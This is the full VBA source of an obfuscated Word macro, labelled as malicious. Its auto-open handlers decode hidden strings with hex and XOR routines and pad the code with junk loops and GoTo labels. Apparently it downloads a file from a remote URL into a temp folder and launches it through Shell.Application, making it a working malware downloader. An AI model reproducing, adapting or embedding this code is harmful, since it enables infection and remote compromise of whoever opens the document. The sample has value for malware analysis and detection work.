Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function XORI(ByVal xicjMaZpt As String, ByVal nMcTEmoJm As String) As String
Dim EOjxkQxT As Long
For EOjxkQxT = 1 To Len(xicjMaZpt)

Dim QctTVICL As Integer
Dim cFPFIYBU As Integer
For cFPFIYBU = 0 To 6
DoEvents
Next cFPFIYBU
QctTVICL = 7
Do While QctTVICL < 28
Dim StdTGllU As Integer
For StdTGllU = 0 To 9
DoEvents
Next StdTGllU
DoEvents: QctTVICL = QctTVICL + 1
Dim xMqFiUle As Integer
For xMqFiUle = 0 To 3
DoEvents
Next xMqFiUle
Loop

Dim QqSTgmDe As Integer
For QqSTgmDe = 0 To 5
DoEvents
Next QqSTgmDe
XORI = XORI & Chr(Asc(Mid(nMcTEmoJm, IIf(EOjxkQxT Mod Len(nMcTEmoJm) <> 0, EOjxkQxT Mod Len(nMcTEmoJm), Len(nMcTEmoJm)), 1)) Xor Asc(Mid(xicjMaZpt, EOjxkQxT, 1)))
Next EOjxkQxT
End Function
Public Function Hextostring(ByVal cJbMQrQcVo As String) As String
Dim IeCvrCT As String
Dim DrBZTx As String
Dim fzEMCirrqv As Long
For fzEMCirrqv = 1 To Len(cJbMQrQcVo) Step 2

Dim RhqhLzTZ As Integer
Dim muelWLmV As Integer
For muelWLmV = 0 To 9
DoEvents
Next muelWLmV
RhqhLzTZ = 4
Do While RhqhLzTZ < 97
Dim qfCHorOw As Integer
For qfCHorOw = 0 To 1
DoEvents
Next qfCHorOw
DoEvents: RhqhLzTZ = RhqhLzTZ + 1
Dim BRaAsjQK As Integer
For BRaAsjQK = 0 To 2
DoEvents
Next BRaAsjQK
Loop

Dim GQWNnAah As Integer
For GQWNnAah = 0 To 9
DoEvents
Next GQWNnAah
IeCvrCT = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(cJbMQrQcVo, fzEMCirrqv, 2)))

Dim AUPhkyFG As Integer
Dim TVkstGBa As Integer
For TVkstGBa = 0 To 4
DoEvents
Next TVkstGBa
AUPhkyFG = 6
Do While AUPhkyFG < 53
Dim HIpHCYEy As Integer
For HIpHCYEy = 0 To 6
DoEvents
Next HIpHCYEy
DoEvents: AUPhkyFG = AUPhkyFG + 1
Dim XNutKALo As Integer
For XNutKALo = 0 To 4
DoEvents
Next XNutKALo
Loop

Dim vSKdZNQW As Integer
For vSKdZNQW = 0 To 9
DoEvents
Next vSKdZNQW
DrBZTx = DrBZTx & IeCvrCT
Next fzEMCirrqv

Dim giWnjmfl As Integer
Dim wBGkwCdq As Integer
For wBGkwCdq = 0 To 6
DoEvents
Next wBGkwCdq
giWnjmfl = 1
Do While giWnjmfl < 14
Dim FJcQsIId As Integer
For FJcQsIId = 0 To 9
DoEvents
Next FJcQsIId
DoEvents: giWnjmfl = giWnjmfl + 1
Dim MolNiEVg As Integer
For MolNiEVg = 0 To 7
DoEvents
Next MolNiEVg
Loop

Dim yLsRBlZm As Integer
For yLsRBlZm = 0 To 9
DoEvents
Next yLsRBlZm
Hextostring = DrBZTx
End Function


Sub Auto_Open()
GoTo ruasvvfhdwnyfwvlyfvgzypqhlekgukmiiwqldehkfvillpnmacqzbvelbbelgjnjtrnwxumtmyukdhajyahmxun:
ruasvvfhdwnyfwvlyfvgzypqhlekgukmiiwqldehkfvillpnmacqzbvelbbelgjnjtrnwxumtmyukdhajyahmxun:
GoTo ujhlspviumyqspsnpkgjcpopcahbdbubpeqcpjwqwcgxdschcazspjqugvdfpgoatoiffvfxjxcqcylpyftitwte:
ujhlspviumyqspsnpkgjcpopcahbdbubpeqcpjwqwcgxdschcazspjqugvdfpgoatoiffvfxjxcqcylpyftitwte:
GoTo aqynxlaxpejjbqwicohawxriwtthajvyxqqvvoqtgjlxjireadncagbxorhrfbsccvsrscrhmkvdeourvcszwevi:
aqynxlaxpejjbqwicohawxriwtthajvyxqqvvoqtgjlxjireadncagbxorhrfbsccvsrscrhmkvdeourvcszwevi:
GDABRYXEKTS
End Sub
Sub AutoOpen()
GoTo yyccrzpgxbfwprorphpzmwkoyffolpcrrxwtaggibqynvnrgdyndpbifodaqmhicshyzkxjrmswlicexsrxbjhvh:
yyccrzpgxbfwprorphpzmwkoyffolpcrrxwtaggibqynvnrgdyndpbifodaqmhicshyzkxjrmswlicexsrxbjhvh:
GoTo ojafiiwikrzjoxvdcwavsykagcbkjmfwtuqmwqfzmsvsiourbuvxokfktshdqhsbllznavxkpvodfjyeqsklxczp:
ojafiiwikrzjoxvdcwavsykagcbkjmfwtuqmwqfzmsvsiourbuvxokfktshdqhsbllznavxkpvodfjyeqsklxczp:
GoTo dlqpwhyxwnefrwhcnxsiiidnzkhugqwsitqayzdbzrasxkjpfosymgorsolexnwpiyfkncgpeqpczqchopcepvdv:
dlqpwhyxwnefrwhcnxsiiidnzkhugqwsitqayzdbzrasxkjpfosymgorsolexnwpiyfkncgpeqpczqchopcepvdv:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo iyiudojgrwlkltrockyqgjbnbbxsrxqnlnwopjbarujhwujehfsvonwcakflikapvvoyfxbmrfkdmtotvqyuyidr:
iyiudojgrwlkltrockyqgjbnbbxsrxqnlnwopjbarujhwujehfsvonwcakflikapvvoyfxbmrfkdmtotvqyuyidr:
GoTo xjcbjynummnfjcoknrvrjwvktuyoedovqzqddecgukylhlqpagmyiknmvjqaajexfaczvvecgntvrmxhgnsadjmn:
xjcbjynummnfjcoknrvrjwvktuyoedovqzqddecgukylhlqpagmyiknmvjqaajexfaczvvecgntvrmxhgnsadjmn:
GoTo glgrafdzdeiadraasvbjcrojddvmlentroqfjcclqppqlbanjhglngrgwvewemxurhhdxcchbeuudsdmriufmklf:
glgrafdzdeiadraasvbjcrojddvmlentroqfjcclqppqlbanjhglngrgwvewemxurhhdxcchbeuudsdmriufmklf:
    Auto_Open
End Sub
Function VYXQPXIETSZ(ByVal KWIDOJJHRJD As String, ByVal ZPKYKPAZRNC As String) As Boolean
     Dim UICEAIAVFZZ As Object, YKGKMJIBROC As Long, SYHFRMSETBM As Long, HCABKIAGVDD() As Byte

GoTo ujhlspviumyqspsnpkgjcpopcahbdbubpeqcpjwqwcgxdschcazspjqugvdfpgoatoiffvfxjxcqcylpyftitwte:
ujhlspviumyqspsnpkgjcpopcahbdbubpeqcpjwqwcgxdschcazspjqugvdfpgoatoiffvfxjxcqcylpyftitwte:
GoTo aqynxlaxpejjbqwicohawxriwtthajvyxqqvvoqtgjlxjireadncagbxorhrfbsccvsrscrhmkvdeourvcszwevi:
aqynxlaxpejjbqwicohawxriwtthajvyxqqvvoqtgjlxjireadncagbxorhrfbsccvsrscrhmkvdeourvcszwevi:
GoTo webyybgnxnmfpmzlndhxmvkummctbifjbkwbmsqonirxqjfphgfuksemhdkvyiwigsecmcvuoxncsxbjgtuvkrhc:
webyybgnxnmfpmzlndhxmvkummctbifjbkwbmsqonirxqjfphgfuksemhdkvyiwigsecmcvuoxncsxbjgtuvkrhc:
    Set UICEAIAVFZZ = CreateObject(XORI(Hextostring("2B07372B185D480C222A1C3B3204"), Hextostring("66546F")))
GoTo ctjfktlfbeoatidssrjyyndyurfcxmwbmjwnfelcpsixtcxnejklummgzpwhnqzerjcgvxjawkmuobgatgfagrym:
ctjfktlfbeoatidssrjyyndyurfcxmwbmjwnfelcpsixtcxnejklummgzpwhnqzerjcgvxjawkmuobgatgfagrym:
GoTo nheerqsywmkvenkohiyoidsvhgbezkzcsslqtikmcznbkybhjkjsylrquiunllgtzwmwivxcfdjqgqkpxziwpder:
nheerqsywmkvenkohiyoidsvhgbezkzcsslqtikmcznbkybhjkjsylrquiunllgtzwmwivxcfdjqgqkpxziwpder:
GoTo qkxahmhprrazkyiqlsuehgvcxohziiargmqwiajfugdbegyerqwxvhaydjpkzsyqduwptcfjcykdxrurdegyufxo:
qkxahmhprrazkyiqlsuehgvcxohziiargmqwiajfugdbegyerqwxvhaydjpkzsyqduwptcfjcykdxrurdegyufxo:
    UICEAIAVFZZ.Open XORI(Hextostring("122F20"), Hextostring("556A74")), KWIDOJJHRJD, False
GoTo zwfimyqvunpidhmdeeihcjoxqftstmkfjbqezwhkqyjbuzhpoeuyffyzivcigxbgwxxsectoyslcwuvjedporgfv:
zwfimyqvunpidhmdeeihcjoxqftstmkfjbqezwhkqyjbuzhpoeuyffyzivcigxbgwxxsectoyslcwuvjedporgfv:
GoTo frrjpgtapewtbclxycomwlrpnicqelycqcwrbxhefnwnpqcnbrxlwadnfrbaytkmzmgwqcvskyquapfazxjxqgra:
frrjpgtapewtbclxycomwlrpnicqelycqcwrbxhefnwnpqcnbrxlwadnfrbaytkmzmgwqcvskyquapfazxjxqgra:
GoTo yyccrzpgxbfwprorphpzmwkoyffolpcrrxwtaggibqynvnrgdyndpbifodaqmhicshyzkxjrmswlicexsrxbjhvh:
yyccrzpgxbfwprorphpzmwkoyffolpcrrxwtaggibqynvnrgdyndpbifodaqmhicshyzkxjrmswlicexsrxbjhvh:
    UICEAIAVFZZ.Send XORI(Hextostring("152D2404270A0924"), Hextostring("634F42"))
GoTo ojafiiwikrzjoxvdcwavsykagcbkjmfwtuqmwqfzmsvsiourbuvxokfktshdqhsbllznavxkpvodfjyeqsklxczp:
ojafiiwikrzjoxvdcwavsykagcbkjmfwtuqmwqfzmsvsiourbuvxokfktshdqhsbllznavxkpvodfjyeqsklxczp:
GoTo dlqpwhyxwnefrwhcnxsiiidnzkhugqwsitqayzdbzrasxkjpfosymgorsolexnwpiyfkncgpeqpczqchopcepvdv:
dlqpwhyxwnefrwhcnxsiiidnzkhugqwsitqayzdbzrasxkjpfosymgorsolexnwpiyfkncgpeqpczqchopcepvdv:
GoTo replfcpnregaksytsgdwhpvblxrbspopzewsofsdyvgsnvbnlzjljdhoykexhoxtmzticctffvxuqrfmmwqyubes:
replfcpnregaksytsgdwhpvblxrbspopzewsofsdyvgsnvbnlzjljdhoykexhoxtmzticctffvxuqrfmmwqyubes:
    HCABKIAGVDD = UICEAIAVFZZ.responseBody

GoTo cqnwurbckebtojxjytrcadkspngeodcidsqurrnpnxnhfwnnxmpldflemdnucckshrvvlcggafguzkdmjarqxuqd:
cqnwurbckebtojxjytrcadkspngeodcidsqurrnpnxnhfwnnxmpldflemdnucckshrvvlcggafguzkdmjarqxuqd:
GoTo jrkalddawnuwtbfmpbtuugdakwrzuedkhmwiuvbvpgdhkmuhasbdqavitosnhyivyojhhcyuzihlqwwzyparouzk:
jrkalddawnuwtbfmpbtuugdakwrzuedkhmwiuvbvpgdhkmuhasbdqavitosnhyivyojhhcyuzihlqwwzyparouzk:
GoTo iyiudojgrwlkltrockyqgjbnbbxsrxqnlnwopjbarujhwujehfsvonwcakflikapvvoyfxbmrfkdmtotvqyuyidr:
iyiudojgrwlkltrockyqgjbnbbxsrxqnlnwopjbarujhwujehfsvonwcakflikapvvoyfxbmrfkdmtotvqyuyidr:
    SYHFRMSETBM = FreeFile

    Open ZPKYKPAZRNC For Binary As #SYHFRMSETBM
    Put #SYHFRMSETBM, , HCABKIAGVDD
    Close #SYHFRMSETBM
GoTo sroedjmsmnjolxtuezcwgrbwicfmkjaltowqhprstppigpdoxnouraljxkxsbrbdbldurchyxrtcoabjnbrdszjx:
sroedjmsmnjolxtuezcwgrbwicfmkjaltowqhprstppigpdoxnouraljxkxsbrbdbldurchyxrtcoabjnbrdszjx:
GoTo ruasvvfhdwnyfwvlyfvgzypqhlekgukmiiwqldehkfvillpnmacqzbvelbbelgjnjtrnwxumtmyukdhajyahmxun:
ruasvvfhdwnyfwvlyfvgzypqhlekgukmiiwqldehkfvillpnmacqzbvelbbelgjnjtrnwxumtmyukdhajyahmxun:
GoTo lvaarmwbaarlhwvcpseulxvdcjohfcogolkjmswlpfqbzgkjemtmepqurhhriepjruwambkhjdsqpbfitarbfasp:
lvaarmwbaarlhwvcpseulxvdcjohfcogolkjmswlpfqbzgkjemtmepqurhhriepjruwambkhjdsqpbfitarbfasp:

GoTo znqihuysdtghaahycrrqbvisezmtshnczkkkdeqrrytbvxnrisozpibxaxkvsgddxxxqvbounudflaewcpaasswb:
znqihuysdtghaahycrrqbvisezmtshnczkkkdeqrrytbvxnrisozpibxaxkvsgddxxxqvbounudflaewcpaasswb:
GoTo fspjmgpjhavdcoyjnvtfrnemahkcnyhrvhlljclijnobaquzcfvtmtemtwwhrbebfahpxvsaodfvnfpggqygnszd:
fspjmgpjhavdcoyjnvtfrnemahkcnyhrvhlljclijnobaquzcfvtmtemtwwhrbebfahpxvsaodfvnfpggqygnszd:
GoTo yfscpxbwkrumiknndjybsajnupufcbrgmflqqhkxaqcbgmjmshskkwngsatybicpehuspvwewuguyjanrsdkcddk:
yfscpxbwkrumiknndjybsajnupufcbrgmflqqhkxaqcbgmjmshskkwngsatybicpehuspvwewuguyjanrsdkcddk:
Set GBIviviu67FUGBK = CreateObject(XORI(Hextostring("29240416204F3B3C111625021B38081522"), Hextostring("7A4C61")))
GoTo ocjfbiuccshcuudyhwvafgjkhwqzxhxsanjxzwjnfsfanpqjvjmmjxrlbmpkjujxpqzkebnjfqeqspfiziuoqpmz:
ocjfbiuccshcuudyhwvafgjkhwqzxhxsanjxzwjnfsfanpqjvjmmjxrlbmpkjujxpqzkebnjfqeqspfiziuoqpmz:
GoTo dbupijzmbtbpwjeklcbxpjshcbosoyszfvkcbxjdbrkadkatdkgzyoateucioluiayfuqblocvrfocwwdlfcjzln:
dbupijzmbtbpwjeklcbxpjshcbosoyszfvkcbxjdbrkadkatdkgzyoateucioluiayfuqblocvrfocwwdlfcjzln:
GoTo rmnlwcbfaaiuhvxmehbyklvgwqmqyblwjckvaghjoveahbozkqlrcuypnhbadsmeqzynkbosyqyvknpgwmonfzof:
rmnlwcbfaaiuhvxmehbyklvgwqmqyblwjckvaghjoveahbozkqlrcuypnhbadsmeqzynkbosyqyvknpgwmonfzof:
GBIviviu67FUGBK.Open Environ(XORI(Hextostring("391F2913"), Hextostring("6D5A6443716F69"))) & XORI(Hextostring("2406210B022E063F0B173F0C5F2A2D1D"), Hextostring("7854714F55"))
GoTo bdkbfedkdtlratgpuunlvwofmvkorkuslzlbfygeejusqrkmtetjfrdbrcaqtxljonnkgvsrkvuubsmnpohsaxsl:
bdkbfedkdtlratgpuunlvwofmvkorkuslzlbfygeejusqrkmtetjfrdbrcaqtxljonnkgvsrkvuubsmnpohsaxsl:
GoTo kgitbajehmaqvftwpmmderrsylumqivpeolnkmfuhopstdnhptpawqidmefpnrosaflidvebmqiqtfkosqzhbcwt:
kgitbajehmaqvftwpmmderrsylumqivpeolnkmfuhopstdnhptpawqidmefpnrosaflidvebmqiqtfkosqzhbcwt:
GoTo evcxsbnbptihxeoacgkhtiewgaluknhitrkqofdplqsgkcsttyipqzfjcwlekrdfkkrccbmppgbfsuwqlbjueekm:
evcxsbnbptihxeoacgkhtiewgaluknhitrkqofdplqsgkcsttyipqzfjcwlekrdfkkrccbmppgbfsuwqlbjueekm:

End Function
Sub GDABRYXEKTS()
GoTo msdozqikxatqiymvpoxndjjwlinsiqfygblavobcsrklbfsjiaiasrvucaflgcpfriadsvpmzneqjzhotumzlhku:
msdozqikxatqiymvpoxndjjwlinsiqfygblavobcsrklbfsjiaiasrvucaflgcpfriadsvpmzneqjzhotumzlhku:
GoTo qgektnxebrhjehlucdcpolsqbfjqtpwhkclsmsvmcbelspprcdcxqwwxqijouysncceemvdwrerdvvtevjtbhjiz:
qgektnxebrhjehlucdcpolsqbfjqtpwhkclsmsvmcbelspprcdcxqwwxqijouysncceemvdwrerdvvtevjtbhjiz:
GoTo tciyoctvwscdwtrhnjfxzrsptcameapflijtqjcfnuzececzidzrlzbnhuewntradmuopbihgjzvwkiffcakzvtj:
tciyoctvwscdwtrhnjfxzrsptcameapflijtqjcfnuzececzidzrlzbnhuewntradmuopbihgjzvwkiffcakzvtj:
VBkjbnlkBK = XORI(Hextostring("0515011C574E5A060300111A081301051E081B0B43021A01420B06430F081B42081910"), Hextostring("6D61756C"))
GoTo bnmgewoattymhfcbdigylyvifllkqqmxeykyrixkpabrmarmvgnjiiefphyzqjcvwgmmibmibpxiawbbetyeibve:
bnmgewoattymhfcbdigylyvifllkqqmxeykyrixkpabrmarmvgnjiiefphyzqjcvwgmmibmibpxiawbbetyeibve:
GoTo lalxgacguajvaxgihahlbioupxiujzjeytkuiaxerwsrfifjsjdabymljcodxmhozqqltbqsihcqithoxgfytbhi:
lalxgacguajvaxgihahlbioupxiujzjeytkuiaxerwsrfifjsjdabymljcodxmhozqqltbqsihcqithoxgfytbhi:
GoTo pdoqnumlprnzcwyllejdrprtkknbgdtdielizwzijchrjhxrklkxhettzezrhpyrsyxoevzelpbdjiredvoownyx:
pdoqnumlprnzcwyllejdrprtkknbgdtdielizwzijchrjhxrklkxhettzezrhpyrsyxoevzelpbdjiredvoownyx:
    VYXQPXIETSZ VBkjbnlkBK, Environ(XORI(Hextostring("1D1C3F19"), Hextostring("495972"))) & XORI(Hextostring("39081E31141237140A37041C4B3F3610"), Hextostring("655A4E754344"))
End Sub